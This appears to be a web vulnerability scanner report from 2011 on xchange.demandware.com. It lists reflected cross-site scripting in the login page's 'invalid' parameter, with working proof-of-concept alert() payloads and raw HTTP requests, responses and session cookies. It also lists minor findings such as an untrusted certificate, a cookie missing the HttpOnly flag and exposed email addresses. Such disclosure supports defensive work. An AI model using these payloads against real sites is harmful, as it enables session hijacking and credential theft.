XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, xchange.demandware.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. https://xchange.demandware.com/Login.jsp [invalid parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/Login.jsp

Issue detail

The value of the invalid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 28a08"%3balert(1)//ba270f84404 was submitted in the invalid parameter. This input was echoed as 28a08";alert(1)//ba270f84404 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /Login.jsp?invalid=28a08"%3balert(1)//ba270f84404 HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; JSESSIONID=13E5543B034DC19B960EA208AC9773A8; locale=en_US

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 12:22:57 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
X-Pad: avoid browser bug
Content-Length: 53563

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><title>Log In</title><META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-E
...[SNIP]...
cerWidth: 0, paddingTop: 0, onclick: { fn: function() {document.location = "SignUp.jsp"} } });
                       signUpBtn.Build(getEl("signUpBtn"));
                   }
               }

               // set error messages
               var invalid = "28a08";alert(1)//ba270f84404";

               if (getEl("loginHelpDiv"))
                   getEl("loginHelpDiv").innerHTML = getHelpContextLink("LOGIN");

PageGlobal.showMessage(invalid);

            // test supported browser, but warn once
...[SNIP]...

1.2. https://xchange.demandware.com/Login.jsp [invalid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/Login.jsp

Issue detail

The value of the invalid request parameter is copied into the HTML document as plain text between tags. The payload fe32f<script>alert(1)</script>13c155eb5cd was submitted in the invalid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /Login.jsp?invalid=%27%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000BF4)%3C/script%3Efe32f<script>alert(1)</script>13c155eb5cd HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; JSESSIONID=13E5543B034DC19B960EA208AC9773A8; locale=en_US

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 12:23:00 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
X-Pad: avoid browser bug
Content-Length: 53635

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><title>Log In</title><META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-E
...[SNIP]...
</script>fe32f<script>alert(1)</script>13c155eb5cd";

               if (getEl("loginHelpDiv"))
                   getEl("loginHelpDiv").innerHTML = getHelpContextLink("LOGIN");

PageGlobal.showMessage(invalid);

            // test supported browser, but warn once
...[SNIP]...

2. SSL certificate previous next

Summary

Severity:	Medium
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/

Issue detail

The following problem was identified with the server's SSL certificate:

The server's certificate is not trusted.

The server presented the following certificates:

Server certificate

Issued to:	*.demandware.com
Issued by:	Go Daddy Secure Certification Authority
Valid from:	Fri Aug 07 08:55:46 CDT 2009
Valid to:	Sun Aug 07 08:11:18 CDT 2011

Certificate chain #1

Issued to:	COMODO High Assurance Secure Server CA
Issued by:	COMODO Certification Authority
Valid from:	Thu Nov 30 18:00:00 CST 2006
Valid to:	Tue Dec 31 17:59:59 CST 2019

Certificate chain #2

Issued to:	COMODO Certification Authority
Issued by:	UTN - DATACorp SGC
Valid from:	Thu Nov 30 18:00:00 CST 2006
Valid to:	Sat May 30 05:48:38 CDT 2020

Certificate chain #3

Issued to:	UTN - DATACorp SGC
Issued by:	AddTrust External CA Root
Valid from:	Tue Jun 07 03:09:10 CDT 2005
Valid to:	Sat May 30 05:48:38 CDT 2020

Certificate chain #4

Issued to:	AddTrust External CA Root
Issued by:	AddTrust External CA Root
Valid from:	Tue May 30 05:48:38 CDT 2000
Valid to:	Sat May 30 05:48:38 CDT 2020

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.

3. Cookie without HttpOnly flag set previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	https://xchange.demandware.com
Path:	/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JSESSIONID=5E5FE174AC4FCCB3AD29365DF716CAE7; Path=/; Secure

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET / HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:29:47 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Set-Cookie: JSESSIONID=5E5FE174AC4FCCB3AD29365DF716CAE7; Path=/; Secure
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 48441

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-EQUIV="cache-control" CONTENT="
...[SNIP]...

4. Password field with autocomplete enabled previous next

Summary

Severity:	Low
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/Login.jsp

Issue detail

The page contains a form with the following action URL:

https://xchange.demandware.com/Login

The form contains the following password field with autocomplete enabled:

password

Issue background

Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.

The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.

Issue remediation

To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).

Request

GET /Login.jsp?goto=https%3A%2F%2Fxchange.demandware.com%2F HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:30:43 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
X-Pad: avoid browser bug
Content-Length: 53760

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><title>Log In</title><META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-E
...[SNIP]...
</div>

<form name=loginForm action="Login" method="POST">
<input type=hidden name=logging value=""/>
...[SNIP]...
<td class=fieldData><input type=password name=password id=password size=25 onkeydown='PageGlobal.loginKeypress(event)'></td>
...[SNIP]...

5. Cross-domain Referer leakage previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/Login.jsp

Issue detail

The page was loaded from a URL containing a query string:

https://xchange.demandware.com/Login.jsp?goto=https%3A%2F%2Fxchange.demandware.com%2F

The response contains the following link to another domain:

https://demandware.helpstream.biz/SupportPortal.jsp

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:30:43 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
X-Pad: avoid browser bug
Content-Length: 53760

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><title>Log In</title><META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-E
...[SNIP]...
<td><a border="0" href="https://demandware.helpstream.biz/SupportPortal.jsp"><img class="bannerLogo block" height="60" src="https://xchange.demandware.com/servlet/CompanyImage/1fdca759b11ac2b8e2a0ee1bf91e5bc4"/>
...[SNIP]...

6. Email addresses disclosed previous next
There are 3 instances of this issue:

/Login.jsp
/version/3.8.0.347a/js/Core.js
/version/3.8.0.347a/js/lang/calendar-en.js

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

6.1. https://xchange.demandware.com/Login.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/Login.jsp

Issue detail

The following email address was disclosed in the response:

suptest@demandware.com

Request

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:30:43 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Type: text/html;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
X-Pad: avoid browser bug
Content-Length: 53760

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head><title>Log In</title><META HTTP-EQUIV="pragma" CONTENT="no-cache">
<META HTTP-E
...[SNIP]...
</b>";
                   var emailFrom = "suptest@demandware.com";
                   if (emailFrom != "")
                       msg += " " + Msgs.get("OR_SUBMIT_CASE_TO_EMAIL_HTML", "OR email case details to <a class=underline href='{0}'>
...[SNIP]...

6.2. https://xchange.demandware.com/version/3.8.0.347a/js/Core.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/version/3.8.0.347a/js/Core.js

Issue detail

The following email address was disclosed in the response:

mihai_bazon@yahoo.com

Request

GET /version/3.8.0.347a/js/Core.js HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:23:41 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
ETag: W/"1320707-1268334532000"
Last-Modified: Thu, 11 Mar 2010 19:08:52 GMT
Content-Type: text/javascript
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 1320707

/* Copyright 2005-2008 Helpstream, Inc. All Rights Reserved. */
/* */

var CoreJS={};
function assert(b,a){}var defaultErrorHandler=window.
...[SNIP]...
<mihai_bazon@yahoo.com>
...[SNIP]...

6.3. https://xchange.demandware.com/version/3.8.0.347a/js/lang/calendar-en.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/version/3.8.0.347a/js/lang/calendar-en.js

Issue detail

The following email address was disclosed in the response:

mihai_bazon@yahoo.com

Request

GET /version/3.8.0.347a/js/lang/calendar-en.js HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:23:41 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
ETag: W/"3600-1268334134000"
Last-Modified: Thu, 11 Mar 2010 19:02:14 GMT
Content-Type: text/javascript
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 3600

// ** I18N

// Calendar EN language
// Author: Mihai Bazon, <mihai_bazon@yahoo.com>
// Encoding: any
// Distributed under the same terms as the calendar itself.

// For translators: please use UTF-8 i
...[SNIP]...

7. Cacheable HTTPS response previous next
There are 5 instances of this issue:

/empty.html
/servlet/CacheCheck
/servlet/ObjectMetaData
/servlet/XMLQuery
/version/3.8.0.347a/js/Enumerations.js/1300356906030

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

Cache-control: no-store
Pragma: no-cache

7.1. https://xchange.demandware.com/empty.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/empty.html

Request

GET /empty.html HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/JoinWorkspace.jsp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:23:56 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
ETag: W/"189-1268334132000"
Last-Modified: Thu, 11 Mar 2010 19:02:12 GMT
Content-Type: text/html
Content-Length: 189
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<title>Empty</title>
</head>
<body>
</body>
</html>

7.2. https://xchange.demandware.com/servlet/CacheCheck previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/servlet/CacheCheck

Request

GET /servlet/CacheCheck HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/CacheCheck.jsp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:30:49 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
Content-Type: text/html;charset=UTF-8
Content-Length: 141
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive

<html><body onload="onbodyload();"><script> function onbodyload() { try {parent.cacheCounter(31794); } catch (e) {} } </script></body></html>

7.3. https://xchange.demandware.com/servlet/ObjectMetaData previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/servlet/ObjectMetaData

Request

POST /servlet/ObjectMetaData HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/Login.jsp?goto=https%3A%2F%2Fxchange.demandware.com%2F
Origin: https://xchange.demandware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/xml
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8; locale=en_US
Content-Length: 164

<objectMetaData><entity>ForumPostCustomFields</entity><formulas>false</formulas><parentChild>true</parentChild><subentity>QuestionTopic</subentity></objectMetaData>

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:32:22 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Length: 47
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain

{entity: "ForumPostCustomFields", fields : {}}

7.4. https://xchange.demandware.com/servlet/XMLQuery previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/servlet/XMLQuery

Request

POST /servlet/XMLQuery HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/
Origin: https://xchange.demandware.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Content-Type: application/xml
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8
Content-Length: 1101

<CategoryContent MaxRetrieve="10" Sort="record.lastModifiedDate desc" Test="record.statistic.showOnHomePage = false and ((record.forumPost != null and record.createdDate != record.lastModifiedDate and
...[SNIP]...

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:24:29 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Content-Type: text/xml;charset=UTF-8
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Length: 5282

<ArrayOfCategoryContent Duration="380 ms"><CategoryContent ID="9e01394a339a7577128d74d67f013801"><updateStamp>-1</updateStamp><DTYPE>ProcedureRevision</DTYPE><title>DW SiteGenesis Release Notes 2.11.
...[SNIP]...

7.5. https://xchange.demandware.com/version/3.8.0.347a/js/Enumerations.js/1300356906030 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/version/3.8.0.347a/js/Enumerations.js/1300356906030

Request

GET /version/3.8.0.347a/js/Enumerations.js/1300356906030 HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=203711493.1304076185.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=203711493.853738904.1304076185.1304076185.1304076185.1; __utmc=203711493; __utmb=203711493.2.10.1304076185; JSESSIONID=13E5543B034DC19B960EA208AC9773A8

Response

HTTP/1.1 200 OK
Date: Fri, 29 Apr 2011 11:23:41 GMT
P3P: CP="ALL DSP COR CUR ADMi TAI PSA IVA HIS OUR IND STA"
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
Cache-Control: public,max-age=315360000,post-check=315360000,pre-check=315360000
Last-Modified: Fri, 29 Apr 2011 11:22:41 GMT
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/plain
Content-Length: 51364

var Enumerations = {};
Enumerations.ProcedureInstanceStatus = [];
Enumerations.ProcedureInstanceStatus["PROCEDURE\u005fINSTANCE\u005fSTATUS\u005fNOT\u005fSTARTED"] = new XMLObject(StringToDOMRootEleme
...[SNIP]...

8. Multiple content types specified previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://xchange.demandware.com
Path:	/version/3.8.0.347a/js/tiny_mce/tiny_mce.js

Issue detail

The response contains multiple Content-type statements which are incompatible with one another. The following statements were received:

Content-Type: text/javascript
text/html; charset=UTF-8

Issue background

If a web response specifies multiple incompatible content types, then the browser will usually analyse the response and attempt to determine the actual MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of multiple incompatible content type statements does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /version/3.8.0.347a/js/tiny_mce/tiny_mce.js HTTP/1.1
Host: xchange.demandware.com
Connection: keep-alive
Referer: https://xchange.demandware.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
